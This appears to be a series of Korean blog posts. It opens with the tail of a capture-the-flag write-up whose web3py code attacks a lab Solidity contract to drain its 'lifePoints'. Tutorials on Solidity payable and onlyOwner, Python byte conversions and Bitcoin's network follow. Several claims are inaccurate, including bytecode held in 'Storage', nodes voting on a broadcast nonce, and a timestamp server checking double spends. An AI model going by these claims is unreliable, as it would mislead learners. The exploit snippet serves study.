print(f'second attack\n {tx_receipt}')

tx = target_cont.functions.loot().transact()
print(w3.eth.wait_for_transaction_receipt(tx))
assert target_cont.functions.lifePoints().call() == 0

이렇게 하고 실행해주면 공격에 성공한다.

아마 web3py를 이용해 익스플로잇 하는 코드는 많이 찾아보기 힘들 것이다. 

그런데 .. 그냥 파이썬이 편해서 이렇게 하는것이기도 하다.

 

일단 very easy에 속한 난이도이다보니 payload 구성이 어렵지 않았던 것 같다.

반응형
반응형

오늘은 web3에서 Solidity를 사용하는 사람이라면 한 번쯤은 짚고넘어가야할 필요가 있는 payable 키워드를 들고와보았다. 

처음 solidity를 공부할 때 부터 대체 저 키워드가 무엇인지부터 시작해서 transfer, call, send로 대체 왜 나뉘는지, 대체 어떻게 쓰는건지도 어려웠던 것 같은 기억이 있는데, 나처럼 삽질하지 말고 이거 하나 보고 그냥 가볍게 넘어가보도록 하자.

^__^

 

1. payable 키워드

다른 프로그래밍 언어와 달리, solidity는 가상화폐(코인)을 동력으로 하는 언어이다. 그렇다 보니, 다른 언어에서는 쓰이지 않는 송금 관련 함수 또는 키워드들이 존재하곤 한다. 즉, 가상화폐(코인)로 접근하기 위한 키워드가 사용된다는 것이다.

 

이더리움(ethereum) 생태계 내의 solidity 언어 내에서 코인을 전송하는 컨트랙트를 작성하기 위해서는 반드시 payable 키워드가 필요하다. 즉, payable 키워드를 사용하지 않는다면 ether를 보낼 수 없다는 것이다. 

 

일단 어떻게 사용되는지 예제를 한번 볼까?

    address payable public owner;
  	
    constructor() payable {
        owner = payable(msg.sender);
    }
    
    function deposit() public payable {}

 

이렇게 사용이 된다고 보면 될 것 같은데,,, 이렇게 보면 대체 어떻게 사용하라는건지 감이 잘 잡히지 않는다.

좀 더 자세히 들어가보자.

 

payable의 사용은 크게 두 가지로 나뉜다.

  • address payable: address type과 함께 사용되며, payable 키워드가 붙은 address 변수 등은 payable 해진다.
  • function payable: function을 선언할 때 사용되며, payable 키워드가 붙은 함수는 지불, 잔액확인 등의 기능을 사용할 수 있다.

1-1. address payable

payable 키워드가 address 타입에 적용될 경우, 해당 주소는 ETH를 받을 수 있게 된다.

예를 들어, 사용자로부터 ETH를 받아 해당 금액을 contract 내부의 주소로 보내고 싶을 떄, payable 키워드를 사용할 수 있다.

address payable public recipient = 0x123123123...; // 이더를 받을 수 있는 주소 생성
recipient.transfer(amount); // 이더 전송

크게 어려울 것은 없기 때문에 넘어가도 될 듯 하다.

1-2. function payable

payable 키워드가 함수 타입에 적용될 경우, 그 함수는 ETH를 보내거나 받는 것, 특정 주소의 계좌 잔액을 확인하는 등의 기능을 실행할 수 있게 된다.

contract MyContract {
    function deposit() public payable {
        // 이 함수를 호출할 때 보낸 ETH는 자동적으로 이 컨트랙트의 Balance에 추가된다.
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

 

payable주소, 함수를 이용하면 '.transfer', '.send' 등의 메서드를 이용하여 ETH를 보낼 수 있게 된다.

이제 좀 더 구체적인 사용법들을 알아보도록 하자.

 

2. ETH 송금 함수: .transfer(), .send(), .call()

ETH를 컨트랙트를 통해 보내기 위해 사용할 수 있는 함수 몇 가지를 알아보도록 하자.

비슷한 기능을 하는 대표적으로 세 가지 함수가 존재하는데, 이들의 차이점에 주목하면서 한번 같이 따라가보자.

입력값, 리턴값이 어떻게 다른지도 살펴보며 진행해보자.

2-1. .transfer()

사용 예시 먼저 보자.

address payable recipient = payable(0x123...); // 수신자 주소
uint256 amount = 1 ether;

recipient.transfer(amount); // 이더 전송

맨 아래, recipient.transfer(amount); 부분을 보면 된다.

  • recipient는 송금받을 사람의 주소이며,
  • amount는 송금을 할 액수이다.
  • 리턴값이 존재하지 않는다.

.transfer()함수의 특징을 알아보자. 

.transfer()함수는 지정된 금액의 ETH를 해당 주소로 전송하도록 설계되어있으며, 전송이 실패하게 될 경우, 자동으로 예외(exception)을 발생시키고, 트랜잭션을 되돌린다(revert). revert시에는 사용된 gas를 제외한 나머지가 반환된다. (2300가스를 소모함)

따라서, 에러 발생 또는 송금 실패 시에 error를 리턴할 필요가 없다.

 

송금 함수 중 가장 안전한 함수이기도 하다.

2-2. .send()

.send()함수는 .transfer()과 비슷하지만, 실패 시 트랜잭션을 revert()하지 않고, 실패(False)를 반환한다는 특징이 있다.

사용 예시를 확인해보자. 

address payable recipient = payable(0x123...);
uint amount = 1 ether;

bool sent = recipient.send(amount);
require(sent, "Failed to send Ether");
  • recipient는 송금받을 사람의 주소이며,
  • amount는 송금을 할 액수이다.
  • 리턴값이 존재한다.

 

transfer()에서는 에러를 리턴하지 않고 직접 핸들링하기 때문에 이럴 필요가 없었지만, send()에서는 직접 핸들링하는 로직을 작성해주어야 한다. 

이 역시도 2300gas를 소모한다는 특징이 있다.

 

.send()함수는 보통 송금 실패시 자동으로 트랜잭션을 revert()하는 기능이 없기 때문에, .transfer()함수에 비해 유연한 오류처리가 필요할 때 사용한다고 보면 될 것 같다.

2-3. .call()

.call()메서드는 Solidity에서 가장 유연한 메서드 중 하나로, 모든 종류의 함수를 호출하고, 이더를 전송할 수 있다. 

사용 예시를 보자.

address payable recipient = payable(0x123...);
uint amount = 1 ether;

(bool success, bytes memory data) = recipient.call{value: amount}("");
require(success, "Failed to send Ether");

이를 보면, 리턴값으로 boolean값과 bytes memory 데이터를 튜플 형태로 받는 것을 알 수 있다. 

  • recipient는 송금받을 사람의 주소이다.
  • amount는 송금을 할 액수이다. (사용법: .call{value: amount}("");)
  • 성공 여부를 튜플 형태로 반환한다.

call()을 사용하게 되면, gas비용이 그 로직에 따라 가변적이기 때문에 가스 소모량을 조절할 수 있다는 장점이 있고,

call()의 실행을 실패했을 때, 자동으로 트랜잭션을 revert하지 않기 때문에 반환 성공 여부를 체크하여 이후 로직을 처리할 필요가 있다. 하지만, call() 함수는 보안에 취약할 수 있으므로 주의할 필요가 있다. (보통 어떠한 함수가 유연하게 사용된다고 하면, 보안에 취약할 경우가 많다.) 

아무래도 보안 전공생이니, 이 부분은 나중에 따로 다뤄보겠다.

 

오늘 내용 끝~

반응형
반응형

하다가 너무 헷갈려서 그냥 정리하는게 맞겠다~ 싶음.

 

정리해야 할 함수들

  • chr()
  • ord()
  • bytes.fromhex() / .hex()
  • base64.b64encode() / .b64decode
  • long_to_bytes() : long -> byte string
  • bytes_to_long() : byte string -> long

시작해보자.

 

1. chr() 함수

하나의 정수를 인자로 받고, 해당 정수에 해당하는 유니코드 문자를 반환한다.

chr(97) = 'a'

2. ord() 함수

하나의 문자를 인자로 받고, 해당 문자에 해당하는 유니코드 정수를 반환한다.

ord('a') = 97

 

이정도는 오케이. 그런데 그 다음부터 헷갈리더라.

3. bytes.fromhex()

hex 숫자를 인자로 받고, bytes 형식으로 변형함.

예) '\x00\x01\x02 ... '

code
result

 

4. bytes.hex()

바이트 형식 문자열을 16진수 hex로 바꿔줌.

code
result

일반 문자의 경우, 

code
result

그냥 hex 값으로 출력되는 것을 볼 수 있다.

 

정리

  • '\x'가 붙은 값: \x을 떼고 출력해줌.(당연함. hex값을 byte형식으로 나타낸거니까..)
  • 일반 문자: hex값으로 출력함.

5. long_to_bytes()

long형의 숫자를 bytes 형식의 string으로 나타낸다.

이렇게 코드를 짜보면

이런식으로 bytes string으로 출력되는 것을 볼 수 있다.

6. bytes_to_long()

위와 반대의 과정이다.

반응형
반응형

Solidity를 하다보면, onlyOwner라는 이름의 modifier가 많이 쓰인다. 그냥 항상 송금/출금 등의 함수에서 당연히 붙이는거니까~ 하면서 쓰고있었는데, 정확한 문법에 대한 이해가 필요할 듯 해 정리해보려고 한다.

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }
    
    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

 

줄마다 보면서 해석해봐야할 것 같다.

1. modifier 함수변경자의 의미

modifier는 "함수변경자, 제어자" 라는 이름으로도 불린다. 즉, 함수의 기능에 있어 특정 기능을 제한/변경할 수 있다는 것이다. 

맨 위의 코드를 한번 보자. 

modifier onlyOwner()

onlyOwner라는 이름의 modifier를 만들어준다. 

onlyOwner는 기본적으로 함수에 이 modifier를 추가해주면, 오직 컨트랙트의 소유자만이 해당 함수를 호출할 수 있게 된다.

정확한 내용을 살펴보자.

 

require(msg.sender == owner, "caller is not the owner");
_;

msg.sender의 주소가 owner의 주소와 같지 않다면, 에러메시지 "caller is not the owner"를 출력하고, 함수의 실행을 막는다. 여기까진 오케이. 그 다음에 등장하는 "_;"는 대체 무엇일까?

 

이는, 다시 modifier를 호출한 함수로 돌아가라는 말이다.

이게 무슨 말이지?

 

다시 맨 위의 코드를 보자.

위 코드에서 withdraw() 함수의 위치에서 onlyOwner modifier가 사용되었고, 그 즉시 컨트랙트는 onlyOwner modfier가 선언된 곳으로 가서 해당 함수를 호출한 사람의 주소와 컨트랙트 소유자의 주소가 같은지를 비교한다. 

비교를 한 이후, '_;'부분은, 이제 onlyOwner를 호출한 함수의 나머지 부분을 실행하라는 말이다 즉, 위 코드는 다음과 같다고 할 수 있다.

    function withdraw() public {
    	require(msg.sender == owner, "caller is not the owner");
        payable(owner).transfer(address(this).balance);
    }

이와 똑같은 코드라고 생각하면 된다.

그래서, '_;'는 모든 modifier의 마지막에 항상 넣어준다고 생각하면 된다.

 

그럼, 저렇게 쓰면 되는데 왜 굳이 modifier라는걸 만들어서 사용하지..?

확장성을 위함이겠지..ㅎ

 

2. onlyOwner는 왜 있을까?

onlyOwner는 ownable이라는 컨트랙트에 내장되어있다. 

이렇게까지 라이브러리화 하여 사용하는 이유가 있을까?

 

그 이유는, 블록체인이라는 기술의 특성에 있다.

모두 알겠지만, 블록체인의 중요한 특성 중 하나는 바로, 그 기록들의 '불변성'이다.

이게 무슨말이냐면, 제아무리 컨트랙트를 직접 만든 개발자라고 하더라도, 그 코드를 맘대로 바꿀 수는 없다는 것이다. 

 

EVM(Ethereum Virtual Machine)은 그 구조적 특성상, 컨트랙트 코드의 컴파일 결과물인 바이트코드는 EVM 내의 불변의 영역인 'Storage'에 들어가있다. 때문에 미리 정의된 코드는 그 내용을 절대 바꿀 수 없게 된다.

 

이로 인해서, 솔리디티 코드를 작성할 때 가장 중요한 것은 보안 다음으로, 유지보수성이다. 즉, 지금 짠 코드를 나중에 어떠한 일이 생겼을 때 언제든 바꿀 수 있어야 한다는 것이다. 

따라서 modifier와 같은 제어자 또한 사용해주고, constructor 등의 메서드, 상수 사용의 최소화 등을 해야 한다.

 

말을 하다 보니 onlyOwner의 필요성은 좀 뒷전으로 하긴 했는데, 이렇게 변수의 사용이 자주 바뀔 수 있게 되다 보니 (owner 등의 변수 포함) 컨트랙트의 ownership 또한 중요하기도 하고, 토큰을 거래하는 데 주로 초점이 맞추어져있는 solidity의 특성 상, 송금 또는 출금을 하는 함수도 많다보니 편리성을 위해 존재하기도 하는, 아주 요긴한 녀석이다.

반응형
반응형

이전 작업증명(PoW)에 이어, 이번에는 비트코인을 구성하는 블록체인 네트워크에 대해 공부해보도록 하자.

 

이번 글에서는, 지금까지 블록체인을 공부하면서 계속 공부했던 블록체인의 구조를 전체적으로 한번 보게될 것 같다. 

블록체인(또는 비트코인구조)에 대한 다른 기초적인 개념이 잘 탑재되어있지 않다면, 이번 장을 따라가기 힘들 수도 있다.(아닐수도 있긴 하다 ㅎ)

 

이 포스팅을 쓰기 전에, 한번 bitcoin의 오픈소스 코드를 조금 읽어보고 왔다. (트랜잭션, 블록 생성 관련 코드)

그렇게 얻은 지식들을 조금 더 공유해보고자 한다.

 

비트코인 오픈소스 깃헙 링크

https://github.com/bitcoin/bitcoin/tree/master

 

GitHub - bitcoin/bitcoin: Bitcoin Core integration/staging tree

Bitcoin Core integration/staging tree. Contribute to bitcoin/bitcoin development by creating an account on GitHub.

github.com

비트코인 네트워크가 실행되는 단계는 다음과 같다.
1) 새로운 거래(트랜잭션)가 모든 노드에 전파된다.
2) 각 노드가 새로운 거래(트랜잭션)를 블록에 수집한다.
3) 각 노드가 그 블록에 맞는 난이도의 작업증명(PoW)을 찾는다.
4) 노드가 작업증명(PoW)을 찾으면(문제를 풀면) 해당 블록을 모든 노드에 전파한다.
5) 노드는 모든 거래(트랜잭션)가 유효하며 아직 지급되지 않았을 때만(타임스탬프가 타당하면) 그 블록을 받아들인다(승인한다).
6) 노드는 블록을 받아들였음(승인했음)을 나타내기 위해 앞서 받아들인 블록의 해시를 직전 해시로 사용해 체인의 다음 블록을 생성하는 작업을 수행한다.

 

각 단계들을 천천히 살펴보자.

A가 B에게 1BTC를 송금하는 트랜잭션을 가지고 설명을 해보도록 하겠다.

bitcoin 깃헙 오픈소스의 '/primitives/transaction.h' 부분을 참고했다.

1. 새로운 거래(트랜잭션)가 모든 노드에 전파된다.

우선 한번 트랜잭션이 어떻게 생성되는지도 알아볼까?

주로 비트코인에서 트랜잭션을 생성하는 기능은 비트코인의 고수준 API나 지갑 관련 코드(bitcoin/src/wallet)에 의해 처리된다.

 

  1. 송금을 하는 A는 API가 적용된 application을 통해 송금할 금액과 수신자 주소를 지정한다. 이 정보를 바탕으로 CTxOut객체가 생성되고, CTxIn객체 이전 트랜잭션의 출력(hash값, sign 등)을 참조하여 생성된다.
  2. 지정된 In/Out을 이용하여 'CMutableTransaction'객체가 생성된다. 이 단계에서 트랜잭션에 대한 기본적인 정보들을 생성할 수 있다.
  3. 서명을 하는 단계가 수행된다. 이전 과정에서 입력으로 받은 CTxIn객체 내의 scriptSig 필드를 채우는 과정이 필요하다. (A가 해당 트랜잭션을 수행할 권한이 있음을 증명하는 단계)
  4. 이렇게 만들어진 트랜잭션을 비트코인 네트워크를 구성하는 모든 노드에 전송한다.

2. 각 노드가 새로운 거래(트랜잭션)을 블록에 수집한다.

트랜잭션과 블록의 차이를 알 필요가 있다.

 

트랜잭션: 트랜잭션은 모든 가치전송(송금 등)의 단위이다. 우리가 흔히 말하는 '블록'과는 구분되는 개념이라고 보아야 한다. 트랜잭션은 블록을 구성하는 기본 단위라고도 볼 수 있는데, 그렇다고 블록=가치전송 이다? 이런 개념은 아니다. 블록의 개념을 다시한번 살펴볼까?

 

블록: 블록은 이러한 트랜잭션들을 검증하고, 트랜잭션을 구성하는 데이터들을 저장하기 위한 개념이라고 볼 수 있다. 즉, 트랜잭션이 모여 형성된 데이터의 묶음이라고 말할 수 있다. 우리가 작업증명(PoW)등을 이용하는 것은 트랜잭션 각각에 적용하는 것이 아닌, 블록에 수행하는 것이다.

이런식으로 구성된다고 볼 수 있을것이다. 그렇기 때문에, 블록에서 트랜잭션을 수집한다고 표현한다. 다음 단계로 넘어가보자.

3. 각 노드가 그 블록에 맞는 난이도의 작업증명(PoW)를 찾는다.

이전 포스팅(4. 작업증명)을 통해 작업증명에 대한 이해를 했으면 알겠지만, 모든 블록마다 블록 생성 속도, 하드웨어 속도, 관여도 등의 변화로 인해 난이도는 자동으로(알고리즘에 따라)보정되는 과정을 거친다.

 

작업증명에 대해 설명한 링크를 올려놓겠다.

https://nullorm.tistory.com/40

 

[Bitcoin] 블록체인 기술공부 / 비트코인 백서 공부 (4. 작업증명(PoW))

지난번 포스팅에서 다뤘었다. 대체 PoW가 무엇인가!!! 작업증명이 그래서 뭔데!!! 자. 지금부터 한번 시작해보도록 하자. 라는 말을 쓰는 지금 시점에서, 나는 작업증명이 뭔지 모른다. 따라서, 이

nullorm.tistory.com

따라서, 채굴에 참여하는 모든 노드(CPU)들은 해당 블록을 구성하는 모든 트랜잭션들의 타당성을 작업증명을 통해 검증하는 과정을 거치며, 위에서 말한 "작업증명(PoW)를 찾는다"라는 워딩보다는 "작업증명(PoW)를 한다"라는 워딩을 사용하는 것이 더욱 적합할 것 같다.

 

이 과정을 통해 작업증명에 성공한 채굴자(Miner)는 채굴보상과, 거래 수수료 등을 보상으로 받게 된다. 

4) 노드가 작업증명(PoW)을 찾으면(문제를 풀면) 해당 블록을 모든 노드에 전파한다.

3번 과정을 통해 작업증명에 성공했으면, 해당 블록의 Nonce를 모든 노드에 전파하여, 모든 노드에서 해당 Nonce가 블록의 Nonce와 일치하는지를 판단하는 과정을 거친다. 

 

5) 노드는 모든 거래(트랜잭션)가 유효하며 아직 지급되지 않았을 때만(타임스탬프가 타당하면) 그 블록을 받아들인다(승인한다).

위의 문장을 세 개로 쪼개보자.

1. 모든 거래(트랜잭션)가 유효하며

작업증명(PoW)를 통해 얻은 valid한 Nonce의 타당성을 검사한다.

2. 아직 지급되지 않았을 때만

해당 블록을 구성하는 내부 트랜잭션들에 대한 이중지불 여부를 검사한다.(Timestamp 서버를 사용한다.)

3. 그 블록을 받아들인다.

그 블록이 Valid한 블록이라는 것을 네트워크에 알린다.

 

이 과정에서 블록체인의 51% 해킹이 발생할 수 있는 여지가 있다. 만약, Invalid한 Nonce에 대해 50% 이상의 노드가 동의할 경우, 해당 값이 Valid한 Nonce인 것으로 판단되어 해당 값이 approve될 수 있긴 하다.

 

이렇게 볼 수 있을 것이다. 어렵지 않으므로 넘어가보자.

6) 노드는 블록을 받아들였음(승인했음)을 나타내기 위해 앞서 받아들인 블록의 해시를 직전 해시로 사용해 체인의 다음 블록을 생성하는 작업을 수행한다.

이를 네트워크에 알리는 과정에 대한 설명이다.

5번 과정을 통해 블록을 승인했음을 블록체인 네트워크에 알리기 위해, 어떤 과정을 거치는지를 이야기한다.

워딩 그대로 해석하면 되기에, 부가적인 설명은 생략하도록 하겠다.

 

체인에 대한 이야기(+ 보안: 잘못된 블록이 들어왔을 경우)

노드는 항상 가장 긴 체인을 옳은 것으로 간주하고 그걸 잇는 작업을 지속한다. 동시에 두 노드가 다음 블록의 서로 다른 버전을 전파하면, 일부 노드가 그중 하나 또는 다른 것을 먼저 받을 수 있다. 이때 그들이 먼저 받은 것을 작업하되, 다른 분기 branch도 보관해 그쪽이 더 길어질 때를 대비한다. 이 동수(tie)는 다음 작업증명이 발견될 때 깨져 한쪽 분기가 더 길어지며, 그러면 다른 분기를 작업하던 노드가 더 긴 분기로 전환한다.

전파한 새로운 거래가 반드시 모든 노드에 도달할 필요는 없다. 많은 노드에 도달하는 한, 블록 안에 곧 들어갈 것이다. 블록 전파는 또한 메시지 누락을 허용한다. 노드가 어떤 블록을 받지 못하면 다음 블록을 받고 누락된 것을 알아차릴 때 그걸 요청한다.

 

자주 나오는 이야기이지만, 모든 노드들은 체인의 여러 분기 중에서 가장 긴 체인을 옳은 것으로 간주하도록 설계되어있다.

 

서로 다른 두 노드가 체인을 잇는 다음 블록에 대한 서로 다른 버전을 전파하였을 때, 이를 받는 노드는 이 두 블록을 모두 받을 수 있다. 이 두 블록을 받은 노드는, 그들이 먼저 받은 블록에 대한 검증을 하지만, 다른 블록 또한 reject하지 않고 저장하여 다른 branch가 더 길어질 때를 대비한다(현재 branch가 invalid한 branch일 경우를 대비).

그 다음에는 위에서 서술된 대로, 때마다 더 길어지는 branch를 찾아 타당한 branch를 찾아간다.

 

 

이번 장에서는 비트코인 네트워크에 대한 전반적인 구조를 알아보았다. 솔직한 견해로는, 다른 세부적인 내용이 궁금하지 않다면 이번 포스팅만 봐도 블록체인(또는 비트코인)의 블록, 트랜잭션 구조에 대한 전반적인 이해가 될 것이라고 생각한다.

 

다음 포스팅에서는 채굴 보상(인센티브)에 대해 알아보도록 하자.

반응형

+ Recent posts